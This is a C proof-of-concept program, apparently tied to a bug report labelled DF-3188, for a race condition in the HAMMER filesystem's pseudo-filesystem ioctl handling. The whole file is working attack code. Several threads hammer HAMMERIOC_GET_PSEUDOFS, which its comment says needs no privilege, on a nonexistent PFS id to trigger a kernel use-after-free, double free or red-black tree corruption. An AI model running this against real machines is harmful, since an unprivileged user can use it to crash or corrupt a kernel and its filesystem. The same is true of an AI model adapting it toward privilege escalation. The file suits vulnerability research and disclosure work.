DF-3188 / race_getpfs.c
/* * DF-3188 racer: race hammer_load_pseudofs()'s RB_LOOKUP+hammer_ref * (hammer_inode.c:983-989) against hammer_rel_pseudofs()'s unlocked * norefs-check + RB_REMOVE + kfree (hammer_inode.c:1218-1227) by * spraying HAMMERIOC_GET_PSEUDOFS (dispatcher drops the privilege * gate for this command) on a NONEXISTENT PFS id, so every call runs * the full kmalloc -> RB_INSERT -> (ENOENT) -> rel -> RB_REMOVE -> * kfree cycle. A lookup landing between the loser's hammer_norefs() * check and its RB_REMOVE() refs a pfsm that is then freed -> * use-after-free / double-free / RB tree corruption. * * usage: ./race_getpfs <mounted-hammer-dir> <pfs_id> <seconds> <threads> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <time.h> #include <pthread.h> #include <sys/ioctl.h> #include "hammer_ioctl.h" static volatile int stop; static int fd; static int pfs_id; static unsigned long long total, enoent, other; static void * racer(void *arg) { struct hammer_ioc_pseudofs_rw pfs; unsigned long long n = 0; memset(&pfs, 0, sizeof(pfs)); pfs.pfs_id = pfs_id; pfs.bytes = sizeof(struct hammer_pseudofs_data); pfs.version = HAMMER_IOC_PSEUDOFS_VERSION; pfs.ondisk = NULL; while (!stop) { int r = ioctl(fd, HAMMERIOC_GET_PSEUDOFS, &pfs); if (r == 0) other++; else if (errno == ENOENT) enoent++; else other++; n++; if ((n & 0xFFFFF) == 0) __sync_fetch_and_add(&total, 0x100000); } __sync_fetch_and_add(&total, n % 0x100000); return (NULL); } int main(int argc, char **argv) { pthread_t th[16]; int nthreads = 4, seconds = 300; time_t t0, tn; if (argc < 3) { fprintf(stderr, "usage: %s <dir> <pfs_id> [seconds] [threads]\n", argv[0]); exit(2); } pfs_id = atoi(argv[2]); if (argc >= 4) seconds = atoi(argv[3]); if (argc >= 5) nthreads = atoi(argv[4]); if (nthreads > 16) nthreads = 16; fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); exit(2); } printf("racing GET_PSEUDOFS pfs_id=%d (nonexistent) on %s: " "%d threads for %ds, uid=%d\n", pfs_id, argv[1], nthreads, seconds, getuid()); fflush(stdout); for (int i = 0; i < nthreads; i++) pthread_create(&th[i], NULL, racer, NULL); t0 = time(NULL); while ((tn = time(NULL)) - t0 < seconds) { sleep(10); fprintf(stderr, "[%3lds] ~%lluM ioctls (ENOENT=%llu)\n", (long)(tn - t0), total >> 20, enoent); } stop = 1; for (int i = 0; i < nthreads; i++) pthread_join(th[i], NULL); printf("done: ~%llu ioctls, ENOENT=%llu other=%llu\n", total, enoent, other); printf("SURVIVED - no UAF hit in this run\n"); return (0); } |